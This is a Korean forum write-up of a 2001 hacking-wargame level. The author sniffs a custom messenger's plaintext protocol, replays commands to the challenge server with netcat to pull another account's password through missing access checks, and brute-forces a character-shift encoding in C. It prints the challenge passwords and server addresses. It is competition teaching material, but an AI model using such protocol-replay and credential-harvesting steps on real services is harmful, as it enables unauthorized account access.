security

Total 112
Today 0
profile_image
ino
01-08-27 09:48 0개 2,769회
KOF 2001 LEVEL1 풀이입니다.
******************************************************



Level1 of 2001 King of Fighter(kof)

Site: http://kof.hackerslab.org



:작성 환경:



->빌게이츠 모조품 2000번째 브로붸쇼놀 작품. + 버그종합선물세트 패치 2

->600(?) + 128(?) + 20(?) + 17(?) + 32(?)





: 이문서는 아무데나(?) 배포가 가능하며 작성자&본문을 맘데로

수정하셔도 생명에 지장이 없습니다.



단! 아래 ps 부분은 수정하지 말 것.



ps. doll 아저씨 바보



******************************************************







2001 kof 레벨1의 풀이 입니다. 이 문서는 졸라졸라 v1.0 과 v1.1 두 버전에 대한 풀이를 포함합니다.

대회가 종료되었습니다. level1을 통과하지 못한 분들에게 도움이 되길..





1. 시작





먼저 졸라졸라 v1.0 을 설치 하고 실행 합니다.(설치중 발생하는 에러에 대해서는 doll아저씨에게 문의 바람).

기본 계정 guest로 로그인 후에, 도스창을 띄워 netstat -an 를 실행합니다.( 이 명령은, 내컴에 열린 똥꾸녕이 다 나옴. 똥구녕 = 포트)



C:>netstat -na



Active Connections



Proto Local Address Foreign Address State

TCP 0.0.0.0:59 0.0.0.0:0 LISTENING

TCP 0.0.0.0:135 0.0.0.0:0 LISTENING

TCP 0.0.0.0:445 0.0.0.0:0 LISTENING

TCP 0.0.0.0:1052 0.0.0.0:0 LISTENING

TCP 0.0.0.0:2666 0.0.0.0:0 LISTENING

TCP 0.0.0.0:2705 0.0.0.0:0 LISTENING

TCP 0.0.0.0:2718 0.0.0.0:0 LISTENING

TCP 0.0.0.0:2844 0.0.0.0:0 LISTENING

TCP 0.0.0.0:2874 0.0.0.0:0 LISTENING

TCP 0.0.0.0:4780 0.0.0.0:0 LISTENING

TCP 0.0.0.0:23184 0.0.0.0:0 LISTENING

TCP 211.222.222.176:139 0.0.0.0:0 LISTENING

TCP 211.222.222.176:2666 203.250.57.9:6667 ESTABLISHED

TCP 211.222.222.176:2705 203.255.129.96:23 ESTABLISHED

TCP 211.222.222.176:2718 203.238.129.97:23 ESTABLISHED

TCP 211.222.222.176:2844 64.12.24.209:5190 ESTABLISHED

TCP 211.222.222.176:2874 203.255.129.177:2900 ESTABLISHED

UDP 0.0.0.0:135 *:*

UDP 0.0.0.0:445 *:*

UDP 0.0.0.0:1025 *:*

UDP 127.0.0.1:2267 *:*

UDP 127.0.0.1:4400 *:*

UDP 211.222.222.176:137 *:*

UDP 211.222.222.176:138 *:*

UDP 211.222.222.176:500 *:*



C:>





열린 포트들이 보이죠?. ( ESTABLISHED ? 확립되다? 연결이 확립되다? 서버와 연결이 되다?. 아님 말구-_-)



TCP 211.222.222.176:2666 203.250.57.9:6667 ESTABLISHED

TCP 211.222.222.176:2705 203.255.129.96:23 ESTABLISHED

TCP 211.222.222.176:2718 203.238.129.97:23 ESTABLISHED

TCP 211.222.222.176:2844 64.12.24.209:5190 ESTABLISHED

TCP 211.222.222.176:2874 203.255.129.177:2900 ESTABLISHED



위 부분이 열린포트와 서버가 연결된 부분인데, 'TCP 프로토콜(1번째 필드값)을 이용해서 내컴퓨터(2번째 필드값)와

서버(3번째필드)가 연결되었다(4번째필드) 라고 해석이 가능합니다(?). 6667 포트는 irc, 23은 텔넷, 나머지 2900 포

트 를 사용하는 203.255.129.177:2900 이것이 졸라졸라가 사용하는 서버의 IP 와 포트 번호 임을 알 수 있습니다.





2. 패킷 엿보기



자자, 그럼 이제, 서버의 주소도 알고 포트도 알고 있으니, 패킷을 잡아 보도록 합니다. ( 패킷은 데이터 쪼가리다-_-)

졸라졸라 클라이언트랑 서버가 나누는 음란대화를 엿보도록 합니다(-_-; 엿보는건 잼있다-_-)

엿보는데는 스나이퍼 라는 툴을 쓴다-_-; 툴이라고 하니 날 스크립키드라고 의심하는 사람이 있을지 모른다...

(사실이 그렇다 ㅡ_ㅜ)



윈용 스나이퍼에는 analyzer , spynet , NetXray 등이 있다.

(본인은 대회중에 analyzer , NetXray 설치하다가 실패했다-_-;! ... 영원히 사라지길! 저주를 내린닷-_-)

(날 믿어준 spynet 에게 감사-_-, 파일은 알아서 찾길 바랍니닷-_-a doll아저씨에게 문의를 하면 안될지 그럴지 모르게씀)



자자, 그럼 켜뒀던 졸자졸라v1.0 을 끕니다. (끄라면 끄라-_-) 그리고 스나이퍼를 키고, 캡쳐를 시작 합니다.

잽싸게 졸라졸라 v1.0 을 키고 로그인을 하고 나서, 맘 속으로 2초를 샙니다-_-; 그리고서는 캡쳐를 스톱!!.

(자자자~ 캡쳐가 됬겠죠~..안됬으면 -_-a 여기서 접으시오-_-)



걸려든 패킷 중에 타켓서버 2900 포트랑 주고 받는 패킷 부분만 봅니다.







0000: 01 02 B9 66 02 54 01 50 BF 3F FF 84 08 00 45 00 ...f.T.P.?....E.

0010: 00 3D E4 43 40 00 80 06 1F 5E D3 B7 D5 B0 CB FF .=.C@....^......

0020: 81 B1 0B 3A 0B 54 70 04 71 A3 21 6F A3 DC 50 18 ...:.Tp.q.!o..P.

0030: 44 70 29 CE 00 00 4B 4F 46 4C 4F 47 20 67 75 65 Dp)...KOFLOG gue

0040: 73 74 20 6B 6F 66 39 75 65 73 74 st kof9uest



/*

졸라졸라 로그인 과정에서 클라이언트가 서버로 보낸 패킷입니다.

KOFLOG guest kof9uest

라고 적혀 있습니다. 로그인을 한다는걸 알 수 있죠?.

나는 궤스트랑께!! 암호는 kof9eust 라고~ 말이징~

*/







0000: 01 50 BF 3F FF 84 01 02 B9 66 02 54 08 00 45 00 .P.?.....f.T..E.

0010: 00 32 21 42 40 00 75 06 ED 6A CB FF 81 B1 D3 B7 .2!B@.u..j......

0020: D5 B0 0B 54 0B 3A 21 6F A3 DC 70 04 71 B8 50 18 ...T.:!o..p.q.P.

0030: 44 5B A8 96 00 00 4B 4F 46 4C 4F 4B 20 30 0D 0A D[....KOFLOK 0..

0040:



/*

로그인 패킷을 받은 서버가 아이디(guest) 와 암호(kof9uest)를 확인하고

클라이언트에게 올바르게 확인이 되었음을 알려주는 패킷을 보냅니다.

KOFLOK 0

로그인 오케이! 랑께!

(로그인 할때 guest 의 비번을 바꿔서 로그인을 해보면 KOFLOK 2 라는 응답이 오는걸 볼수있습니다.)

*/





0000: 01 02 B9 66 02 54 01 50 BF 3F FF 84 08 00 45 00 ...f.T.P.?....E.

0010: 00 38 E4 46 40 00 80 06 1F 60 D3 B7 D5 B0 CB FF .8.F@....`......

0020: 81 B1 0B 3A 0B 54 70 04 71 B8 21 6F A3 E6 50 18 ...:.Tp.q.!o..P.

0030: 44 66 36 D3 00 00 4B 4F 46 47 45 54 4C 49 53 54 Df6...KOFGETLIST

0040: 20 67 75 65 73 74 guest



/*

guest로 로그인 후에 클라이언트 -> 서버 로 guest의 친구 목록을 요청합니다.

(이 프로그램은 p2p 메신저 라는걸 기억하세요 ㅡ_ㅡ::)

KOFGETLIST guest

(서버야~ guest 에 등록된 칭구 목록을 내노으라~)

*/







0000: 01 50 BF 3F FF 84 01 02 B9 66 02 54 08 00 45 00 .P.?.....f.T..E.

0010: 00 54 21 45 40 00 75 06 ED 45 CB FF 81 B1 D3 B7 .T!E@.u..E......

0020: D5 B0 0B 54 0B 3A 21 6F A3 E6 70 04 71 C8 50 18 ...T.:!o..p.q.P.

0030: 44 4B 77 1B 00 00 4B 4F 46 46 52 49 20 6C 65 76 DKw...KOFFRI lev

0040: 65 6C 31 0D 0A 4B 4F 46 46 52 49 20 6C 65 76 65 el1..KOFFRI leve

0050: 6C 32 0D 0A 4B 4F 46 46 52 49 20 67 75 65 73 74 l2..KOFFRI guest

0060: 0D 0A ..



/* 칭구 목록을 요청받은 서버는 클라이언트에게 guest 의 칭구 목록을 응답합니다.

KOFFRI level1

KOFFRI level2

KOFFRI guest



(FRI 는 FRIEND의 약자 랑께-_-; 칭구가 꼴랑 3명-_-;;;)

(졸라졸라 키면 친구가 3명 나오는걸 볼 수 있죠?.

서버가 위와 같은 응답을 하기 땜시 볼 수 있는 거됴~~)

*/











자자자 그럼 지금까지 우리는 서버랑 클라이언트의 음란 대화 명령어 몇개를 입수 했습니다.



KOFLOG <-> KOFLOK

KOFGETLIST <-> KOFFRI









그럼, 다시 한번! 패킷 스나이터를 키고 졸라졸라를 가지구 엽기행각을 벌려 봅니다.

또 다른 음난대화가 숨겨켜 있을지 모르니까요.



졸라졸라 친구 목록에서 guest의 아이디를 눌러서 User Details 을 눌르는! 것의 패킷을 잡아 봅니다.



0000: 00 02 B9 66 02 54 00 50 BF 3F FF 84 08 00 45 00 ...f.T.P.?....E.

0010: 00 40 E6 61 40 00 80 06 1D 3D D3 B7 D5 B0 CB FF .@.a@....=......

0020: 81 B1 0B 3A 0B 54 70 04 71 E0 21 6F A4 54 50 18 ...:.Tp.q.!o.TP.

0030: 43 F8 30 58 00 00 4B 4F 46 47 45 54 49 4E 46 4F C.0X..KOFGETINFO

0040: 20 67 75 65 73 74 20 67 75 65 73 74 0D 0A guest guest..



/*

졸라졸라 클라이언트가 guest의 정보를 얻기위해서

KOFGETINFO guest guest

라는 패킷을 보냈습니다.

KOFGETINFO(정보내놔!) guest(난 궤스트다!) guest(니 정보!)

*/





0000: 00 50 BF 3F FF 84 00 02 B9 66 02 54 08 00 45 00 .P.?.....f.T..E.

0010: 00 6A 2C A4 40 00 75 06 E1 D0 CB FF 81 B1 D3 B7 .j,.@.u.........

0020: D5 B0 0B 54 0B 3A 21 6F A4 54 70 04 71 F8 50 18 ...T.:!o.Tp.q.P.

0030: 44 1B 21 F6 00 00 4B 4F 46 50 55 54 49 4E 46 4F D.!...KOFPUTINFO

0040: 20 67 75 65 73 74 20 6B 6F 66 39 75 65 73 74 20 guest kof9uest

0050: 67 75 65 73 74 40 6B 6F 66 2E 68 61 63 6B 65 72 guest@kof.hacker

0060: 73 6C 61 62 2E 6F 72 67 20 5A 6F 6C 61 5A 6F 6C slab.org ZolaZol

0070: 61 47 75 65 73 74 0D 0A aGuest..



/*

클라이언트의 요청에 서버가 응답하길...

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFPUTINFO(정보 여깄다!) guest(이넘꺼랑께!) kof9uset(암호지롱!) guest@kof.hackerslab.org(이메일!) ZolaZolaGuesT(이름!)

헉..궤스트 암호가 나왔다-_-;

*/



헉헉..그럼 level1 이나 level2 의 정보를 빼내면 될것이다! 라고 생각하겠지...

그럼 암호가 나오겠지!! 라고 생각하면..

당신은 천재다-_-









3. 패킷 조작





자자.. 드디어 우리들의 멋쟁이 넷켓이 나올때가 됬습니다 >.< 넷켓 옵빠아아아~

넷켓은 네트워크 켓(?) 고양이의 약자 로 추정됩니다. (따지면 , 바보 똥꾸멍) 영어로 쓰자면 netcat -_-;

버전은 1.10 까지 나온거 같음.( 네켓을 구합니다. 컴파일합니다, -_-; 알아서들..모르면 doll 아저씨에게 묻기)



자자 그럼 , 이제.....? 머하자구?.... 옵빠아앙~ 나랑 놀아야지 *' o'* 아잉~



졸라졸라 <-> 서버 의 음난대화가 아닌 나 자신(nc를 이용) <-> 서버 의 음난대화를 해봅니다-_-a



(nc 가 없다면 telnet 으로 해도 됩니다.)



그럼 nc를 이용해서 서버에 접속합니다.





[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900

_





(아래 커서가 깜빡~깜박 이는~ *' o' *희미한~기억속에~♬)

텔넷으로 했을경우 아래와 ...위는 똑같은 역활(?)과 기능(성기능-_-)을 합니다.





[hellow@ilovegirl jakup]$ telnet 203.255.129.177 2900

Trying 203.255.129.177...

Connected to 203.255.129.177.

Escape character is '^]'.







자자 그럼.. 음난대화를 시작합니다.





[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900

KOFLOG guest kof9uest





위 처럼 입력 하고 엔터를 하면.. 서버가 대답하길..





[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900

KOFLOG guest kof9uest

KOFLOK 0





와우 ~ 아까 였봤던거랑 똑같자나 - ,. =



그리고 KOFGETLIST guest 라고 입력하면....



[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900

KOFLOG guest kof9uest

KOFLOK 0

KOFGETLIST guest

KOFFRI level1

KOFFRI level2

KOFFRI guest





와우-_-.... ..멋지다





자 이제 줄줄~이 딸아 오면서 보세요



[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900

KOFLOG guest kof9uest

KOFLOK 0

KOFGETLIST guest

KOFFRI level1

KOFFRI level2

KOFFRI guest

KOFGETINFO guest guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest





KOFGETINFO guest guest 입력 해서 guest 암호 획득!?



이제 다른 친구들의 정보를 얻자!!



[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900

KOFLOG guest kof9uest

KOFLOK 0

KOFGETLIST guest

KOFFRI level1

KOFFRI level2

KOFFRI guest

KOFGETINFO guest guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest level1

KOFPUTERR level1

KOFGETINFO guest level2

KOFPUTERR level2

KOFGETINFO level1 guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO level1 level1

KOFPUTERR level1

KOFGETINFO level1 level2

KOFPUTERR level2

KOFGETINFO level2 guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO level2 level1

KOFPUTERR level1

KOFGETINFO level2 level2

KOFPUTERR level2



헉헉.... guest 말고는 아무것도 접근 할수가 없다니 ㅡ_ㅜ

아직 안해본게 하나 있지롱 ' o'



KOFGETLIST 다...









[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900

KOFLOG guest kof9uest

KOFLOK 0

KOFGETLIST guest

KOFFRI level1

KOFFRI level2

KOFFRI guest

KOFGETINFO guest guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest level1

KOFPUTERR level1

KOFGETINFO guest level2

KOFPUTERR level2

KOFGETINFO level1 guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO level1 level1

KOFPUTERR level1

KOFGETINFO level1 level2

KOFPUTERR level2

KOFGETINFO level2 guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO level2 level1

KOFPUTERR level1

KOFGETINFO level2 level2

KOFPUTERR level2

KOFGETLIST guest

KOFFRI level1

KOFFRI level2

KOFFRI guest





guest 의 친구 목록이 나왔다.

그럼 level1 이나 level2 의 친구도 보자 ' o'





[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900

KOFLOG guest kof9uest

KOFLOK 0

KOFGETLIST guest

KOFFRI level1

KOFFRI level2

KOFFRI guest

KOFGETINFO guest guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest level1

KOFPUTERR level1

KOFGETINFO guest level2

KOFPUTERR level2

KOFGETINFO level1 guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO level1 level1

KOFPUTERR level1

KOFGETINFO level1 level2

KOFPUTERR level2

KOFGETINFO level2 guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO level2 level1

KOFPUTERR level1

KOFGETINFO level2 level2

KOFPUTERR level2

KOFGETLIST guest

KOFFRI level1

KOFFRI level2

KOFFRI guest

KOFGETLIST level1

KOFGETLIST level2

KOFFRI kof_Root







level1 친구 요청에는 응답하지 않았고 level1 2에는 kof_Root 라는 친구가 등록되어 있다!!

그럼 본김에 kof_Root 라는 넘의 친구 목록도 보자~



[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900

KOFLOG guest kof9uest

KOFLOK 0

KOFGETLIST guest

KOFFRI level1

KOFFRI level2

KOFFRI guest

KOFGETINFO guest guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest level1

KOFPUTERR level1

KOFGETINFO guest level2

KOFPUTERR level2

KOFGETINFO level1 guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO level1 level1

KOFPUTERR level1

KOFGETINFO level1 level2

KOFPUTERR level2

KOFGETINFO level2 guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO level2 level1

KOFPUTERR level1

KOFGETINFO level2 level2

KOFPUTERR level2

KOFGETLIST guest

KOFFRI level1

KOFFRI level2

KOFFRI guest

KOFGETLIST level1

KOFGETLIST level2

KOFFRI kof_Root

KOFGETLIST kof_Root

KOFFRI oprix

KOFFRI codejack

KOFFRI black

KOFFRI mud

KOFFRI doll

KOFFRI makins

KOFFRI amadoh4ck



운영자 아찌들이 다 나왔다- ,. =



음-_- 마지막 으로 하나만 하고 끝내야지..



[hellow@ilovegirl jakup]$ ./nc 203.255.129.177 2900

KOFLOG guest kof9uest

KOFLOK 0

KOFGETLIST guest

KOFFRI level1

KOFFRI level2

KOFFRI guest

KOFGETINFO guest guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest level1

KOFPUTERR level1

KOFGETINFO guest level2

KOFPUTERR level2

KOFGETINFO level1 guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO level1 level1

KOFPUTERR level1

KOFGETINFO level1 level2

KOFPUTERR level2

KOFGETINFO level2 guest

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO level2 level1

KOFPUTERR level1

KOFGETINFO level2 level2

KOFPUTERR level2

KOFGETLIST guest

KOFFRI level1

KOFFRI level2

KOFFRI guest

KOFGETLIST level1

KOFGETLIST level2

KOFFRI kof_Root

KOFGETLIST kof_Root

KOFFRI oprix

KOFFRI codejack

KOFFRI black

KOFFRI mud

KOFFRI doll

KOFFRI makins

KOFFRI amadoh4ck

KOFGETINFO kof_Root level1

KOFPUTERR level1

KOFGETINFO kof_Root level2

KOFPUTINFO level2 gEtstarTK0f level2@kof.hackerslab.org level2user





옹샤르~~ 암호가 나왔다 +_+ 반짝반짝!

KOFPUTINFO level2 gEtstarTK0f level2@kof.hackerslab.org level2user



guest 로 level2 의 정보를 요청했을때(KOFGETINFO guest level2)는 나오지 않았지만

kof_Root로 level2의 정보를 요청했을때(KOFGETINFO kof_Root level2)는 나왔음을 알 수 있다.







*****************************************************************************





여기까지가 졸라 졸라 v1.0 의 풀이 방법이다.



아래는 졸라 졸라 1.1 의 풀이 방법이다.



미리 알아 둘것은 졸라졸라 1.1 에서 guest의 암호는 gZuOeLsAt 였다.(패킷 캡쳐하면 보인다.)



*****************************************************************************





1.1의 풀이 방법도 위의 과정까지는 똑같다.



하지만 KOFGETINFO guest guest 했을때 1.0 에서는서버가 아래와 같이 응답을 했지만..

KOFPUTINFO guest kof9uest guest@kof.hackerslab.org ZolaZolaGuest



1.1 에서는 아래와 같이 응답한다.



KOFGETINFO guest guest

KOFPUTINFO guest cWsNeMuDx guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest guest

KOFPUTINFO guest g[wRiQyH| guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest guest

KOFPUTINFO guest aUqLcKsBv guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest guest

KOFPUTINFO guest fZvQhPxG{ guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest guest

KOFPUTINFO guest aUqLcKsBv guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest guest

KOFPUTINFO guest aUqLcKsBv guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest guest

KOFPUTINFO guest dXtOfNvEy guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest guest

KOFPUTINFO guest bVrMdLtCw guest@kof.hackerslab.org ZolaZolaGuest





9자리의 이상한 문자열이다.



그리고 KOFGETINFO kof_Root level2 라고 요청했을때 아래 처럼 응답한다.



KOFGETINFO kof_Root level2

KOFPUTINFO kof_Root cBrrtbtWOTl kof_Root@kof.hackerslab.org ZolaKof_Root





1.1에서는 guest의 암호(gZuOeLsAt)와 KOFGETINFO guest guest 를 요청했을때

서버가 응답하는 9자리 문자열과의 관계(?) 를 알게되면..





KOFGETINFO kof_Root level2

를 요청했을때 응답하면 11자리 이상한 문자열을 가지고 level2의 암호를 알 수 있다.









KOFGETINFO guest guest

KOFPUTINFO guest cWsNeMuDx guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest guest

KOFPUTINFO guest g[wRiQyH| guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest guest

KOFPUTINFO guest aUqLcKsBv guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest guest

KOFPUTINFO guest fZvQhPxG{ guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest guest

KOFPUTINFO guest aUqLcKsBv guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest guest

KOFPUTINFO guest aUqLcKsBv guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest guest

KOFPUTINFO guest dXtOfNvEy guest@kof.hackerslab.org ZolaZolaGuest

KOFGETINFO guest guest

KOFPUTINFO guest bVrMdLtCw guest@kof.hackerslab.org ZolaZolaGuest



이것에서 9자리 문자열 중에서 제일 앞 문자들 a b c d .. 알파벳 순으로 놔보면..



aUqLcKsBv

bVrMdLtCw

cWsNeMuDx

..



제일 앞에 있는 aUqLcKsBv 를 기준으로 각자리 +1을 한 값들이 다음 9자리 문자를 이룸을 알 수 있다.

9자리 들의 관계가 파악됬고 ... 이것들과 암호랑의 관계는..



9자리 중에서.. 앞자리가 g로 시작하는 것과

g[wRiQyH|



암호(gZuOeLsAt)와의 관게를 보면은...



g[wRiQyH| 이 값에서 각자리마다 -0 -1 -2 -3 -4 -5 -6 -7 -8 을 한 값이 gZuOeLsAt 임을 알 수 있다.





이관계를 11자리 값에 적용해 보면.. 예를 들어 앞자리 b 인것으로..



bVrMdLtCw



이값에 대해 -0 -1 -2 -3 -4 -5 -6 -7 -8 -9 -10 을 하면 b 에 대한 어떤 값이 나옴을 알 수 있고,

아스키값 전체(255)에 대해 이 방법을 써보면 암호가 나올거라는 추측을 할 수 있다.



(ps. 대부분 사람이 guest 암호가 g 란걸 알고 앞자리 g인걸만 해석해서 level2 를 찍어 푼 사람이 많다-_-;

운이 좋게두 level2 암호도 앞자리가 g 였다-_-;)



255번 하는 노가다를 덜어 보자-_-







/* 이 소스는 달나라 토끼가 씀 */



#include



int main()

{



int i=0;

char buf[12]="cBrrtbtWOTl";

char buf2[12]="aaaaaaaaaaa";







for(i=0; i<=255;i++)

{



buf[0] +=1;

buf[1] +=1;

buf[2] +=1;

buf[3] +=1;

buf[4] +=1;

buf[5] +=1;

buf[6] +=1;

buf[7] +=1;

buf[8] +=1;

buf[9] +=1;

buf[10] +=1;



buf2[0] = buf[0] ;

buf2[1] = buf[1] -1;

buf2[2] = buf[2] -2;

buf2[3] = buf[3] -3;

buf2[4] = buf[4] -4;

buf2[5] = buf[5] -5;

buf2[6] = buf[6] -6;

buf2[7] = buf[7] -7;

buf2[8] = buf[8] -8;

buf2[9] = buf[9] -9;

buf2[10] = buf[10] -10;



printf("%sn",buf2);

}







}





/* 돌려 보면 답이 나온다-_- */



[hellow@ilovegirl jakup]$ gcc ha.c -o ha

[hellow@ilovegirl jakup]$ ./ha

dBqpq^oQHLc

eCrqr_pRIMd

fDsrs`qSJNe

gEtstarTKOf

hFutubsULPg

iGvuvctVMQh

jHwvwduWNRi

kIxwxevXOSj

lJyxyfwYPTk

mKzyzgxZQUl

nL{z{hy[RVm

oM|{|izSWn

pN}|}j{]TXo

qO~}~k|^UYp

rP~l}_VZq

sQ

댓글목록

등록된 댓글이 없습니다.